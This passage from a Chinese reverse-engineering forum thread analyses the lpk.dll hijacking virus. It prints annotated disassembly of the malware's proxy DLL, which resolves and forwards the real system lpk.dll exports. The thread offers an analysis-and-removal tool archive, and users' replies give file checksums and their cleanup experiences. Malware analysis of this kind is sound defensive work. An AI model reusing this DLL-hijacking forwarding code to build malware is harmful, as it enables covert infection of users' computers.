    call    GetSysLpkAddrAndFillMeExportTable ; 获取系统lpk导出函数地址,填充到自己导出函数,起中转作用

FAIL:                                   ; ...
    xor     eax, eax
    cmp     ghSyslpk, eax
    setnz   al                          ; 成功返回TURE,否则FALSE
    leave
    retn
LoadSysLpkAndGetExportFunAddr endp



GetSysLpkAddrAndFillMeExportTable proc near ; ...
    push    offset gszLpkTabbedTextOut  ; "LpkTabbedTextOut"
    call    MyGetProcessAddr
    push    offset gszLpkDllInitialize  ; "LpkDllInitialize"
    mov     lpLpkTabbedTextOut, eax
    call    MyGetProcessAddr
    push    offset gszLpkDrawTextEx     ; "LpkDrawTextEx"
    mov     lpLpkDllInitialize, eax
    call    MyGetProcessAddr
    push    40h
    push    offset gszLpkEditControl    ; "LpkEditControl"函数 特殊处理
    mov     lpLpkDrawTextEx, eax
    call    MyGetProcessAddr
    push    eax
    push    offset lpLpkEditControl
    call    ds:RtlMoveMemory            ; LpkEditControl这个数组有14个成员,必须将其复制过来
    push    offset gszLpkExtTextOut     ; "LpkExtTextOut"
    call    MyGetProcessAddr
    push    offset gszLpkGetCharacterPlacement ; "LpkGetCharacterPlacement"
    mov     lpLpkExtTextOut, eax
    call    MyGetProcessAddr
    push    offset gszLpkGetTextExtentExPoint ; "LpkGetTextExtentExPoint"
    mov     lpLpkGetCharacterPlacement, eax
    call    MyGetProcessAddr
    push    offset gszLpkInitialize     ; "LpkInitialize"
    mov     lpLpkGetTextExtentExPoint, eax
    call    MyGetProcessAddr
    push    offset gszLpkPSMTextOut     ; "LpkPSMTextOut"
    mov     lpLpkInitialize, eax
    call    MyGetProcessAddr
    push    offset gszLpkUseGDIWidthCache ; "LpkUseGDIWidthCache"
    mov     lpLpkPSMTextOut, eax
    call    MyGetProcessAddr
    push    offset gszftsWordBreak      ; "ftsWordBreak"
    mov     lpLpkUseGDIWidthCache, eax
    call    MyGetProcessAddr
    mov     lpftsWordBreak, eax
    retn
GetSysLpkAddrAndFillMeExportTable endp

MyGetProcessAddr proc near              ; .获取系统lpk.dll指定函数名地址

lpProcName= dword ptr  4

    push    [esp+lpProcName]            ; lpProcName
    push    ghSyslpk                    ; hModule 系统lpk.dll句柄
    call    ds:GetProcAddress
    test    eax, eax
    jnz     short FINISH
    push    0FFFFFFFEh                  ; uExitCode
    call    ds:ExitProcess              ; 获取系统lpk.dll函数地址失败,则结束进程
; ---------------------------------------------------------------------------

FINISH:                                 ; ...
    retn    4
MyGetProcessAddr endp

lpk病毒分析及查杀工具源码.7z

241.34 KB, 下载次数: 146, 下载积分: 吾爱币 -1 CB

解压密码:581321

免费评分

参与人数 10吾爱币 +8 热心值 +10 收起 理由
xiaochong2018 + 1 + 1 我很赞同!记得当时机房里中过,用的是瑞星的专杀工具,效果凑合
寒蝉鸣泣之时 + 1 + 1 用心讨论,共获提升!
jianailing + 1 + 1 热心回复!
mirs + 1 + 1 当初被这个病毒弄崩溃了,重装系统也没用,盘全部格式化了。
fhisd + 1 + 1 谢谢@Thanks!
120268323 + 1 + 1 感觉是XP系统中的小强!!
Imkgdestiny + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
CSTNJY + 1 XP系统横行,win系统基本免疫。
oxxo119 + 1 + 1 谢谢@Thanks!
liphily + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

FtsOZz 发表于 2018-2-26 18:02
6,摩拜大神一波~lpk.dll,U盘往电脑一插,嘭,全部都是快捷方式了
jefel 发表于 2019-3-17 20:41
膜拜大神,虽然时代前进了,但XPSP3系统还是会中招,清理确实费事!还请给个清理工具。十分感谢!


lpk.dll        CRC32:39698AE


hra23.dll    CRC32:39698AE  


*.exe          CRC32:B9C46B85


* 其文件名每次都变化,但 CRC32:B9C46B85不变,确定是同一文件。


每个文件夹及U盘压缩文件都会产生lpk.dll 文件。




经过检查没有发现‘’usp10.dll‘’文件。


lrv 发表于 2018-2-26 16:56
这货我遇到过一次,上头脑经了!
最后用lpkKiller(lpk/usp10专杀工具)全盘查杀!
再用EveryThing搜索lpk&usp10手动删除后才搞定的!
m0reLess 发表于 2018-2-26 18:31
想当年我就是用这玩意破解啄木鸟数据恢复大荟萃的2333
SuperF 发表于 2018-2-26 21:05
学习了,这个病毒真的很常见,都见过几回了。
chaojixijun 发表于 2018-2-26 21:17
XP系统横行,win系统基本免疫

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
李智乐乐 + 1 + 1 XP不是win系统吗?XD

查看全部评分

暮歌尽天下 发表于 2018-2-26 22:06
这个病毒,是只有xp系统有吗,表示暂时没遇到过。保存个方法
a8692375 发表于 2018-2-26 22:12
感谢分享
6fingers 发表于 2018-2-26 22:47

感谢分享
6fingers 发表于 2018-2-26 22:48

感谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 13:05

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表